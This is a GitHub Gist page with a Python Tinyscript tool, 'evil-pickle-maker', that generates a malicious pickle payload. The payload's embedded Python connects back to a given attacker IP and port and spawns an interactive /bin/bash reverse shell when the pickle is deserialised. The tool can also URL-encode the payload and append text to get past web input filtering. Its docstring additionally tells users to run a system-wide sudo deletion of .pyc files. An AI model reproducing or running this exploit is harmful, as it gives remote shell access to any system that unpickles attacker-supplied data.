Skip to content

Instantly share code, notes, and snippets.

@dhondta
Last active February 10, 2024 10:27
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save dhondta/0224d42a6f9dde00247ff8646f4e89aa to your computer and use it in GitHub Desktop.
Save dhondta/0224d42a6f9dde00247ff8646f4e89aa to your computer and use it in GitHub Desktop.
Tinyscript tool for making an evil Pickle

Evil Pickle creation tool

This is a Tinyscript wrapper for this Gist, working with Python 2 and 3.

$ pip install tinyscript
$ tsm install evil-pickle-maker
$ evil-pickle-maker 1.2.3.4 12345
#!/usr/bin/env python
import marshal
from tinyscript import *
__author__ = "Alexandre D'Hondt"
__version__ = "1.1"
__copyright__ = ("A. D'Hondt", 2020)
__license__ = "gpl-3.0"
__examples__ = ["1.2.3.4 12345 > evil.pickle"]
__reference__ = "https://gist.githubusercontent.com/BGrewell/ba619281070cc6185d81e32791a2289e/raw/" \
"fb63ce7aec76b2bf3313cae0333d1603d183550b/rotten_pickle.py"
__doc__ = """
*Evil Pickle Maker* is a Tinyscript wrapper for the aforementioned Gist.
This script creates a reverse shell that will be executed when the python pickle package attempts to unpickle it.
It can pickle any python code and execute it on the target when it is unpickled as long as the target has whatever
modules you try to import. This code base64 encodes the python code so that it can be passed around as ASCII/Unicode
text. It optionally URL encodes it so that it can be submitted through webforms ect.
Important note: With Python3, you could experience the following error: "ValueError: bad marshal data (unknown type code)"
In this case, execute "sudo find / -name '*.pyc' -delete" to remove all pre-compiled Python files and retry.
"""
SCRIPTNAME_FORMAT = "none"
# This is the main skeleton for building our payloads. It will be modified to include our custom function(s) in the
# wrapper below. Do not modify this unless you know what you are doing.
SKELETON = """ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'{0}'
tRtRc__builtin__
globals
(tRS''
tR(tR.{1}
"""
PAYLOAD = """
def wrapper():
import socket,subprocess,os
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("{}", {}))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
p=subprocess.call(["/bin/bash", "-i"])
"""
if __name__ == '__main__':
parser.add_argument("ip", type=ts.ip_address, help="attacker's IP address")
parser.add_argument("port", type=ts.port_number, help="attacker's port number")
parser.add_argument("-a", "--append", default="", help="custom text (or instructions) to include",
note="this can be useful for bypassing filtering on web inputs")
parser.add_argument("-l", "--line-endings", default="\n", help="characters to use for line endings",
note="if these don't match the target you can get weird import errors")
parser.add_argument("-u", "--url-encode", action="store_true", help="URL encode the resulting payload")
initialize()
exec(PAYLOAD.format(args.ip, args.port))
payload = ensure_str(base64.b64encode(marshal.dumps(wrapper.__code__ if PYTHON3 else wrapper.func_code)))
logger.debug("Payload:\n" + payload)
rotten_pickle = SKELETON.format(payload, args.append).strip()
if "\r" in args.line_endings:
rotten_pickle = rotten_pickle.replace("\n", "\r\n")
if "\n" not in args.line_endings:
rotten_pickle = rotten_pickle.replace("\n", "")
if args.url_encode:
rotten_pickle = codecs.encode(rotten_pickle, "url")
print(rotten_pickle)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment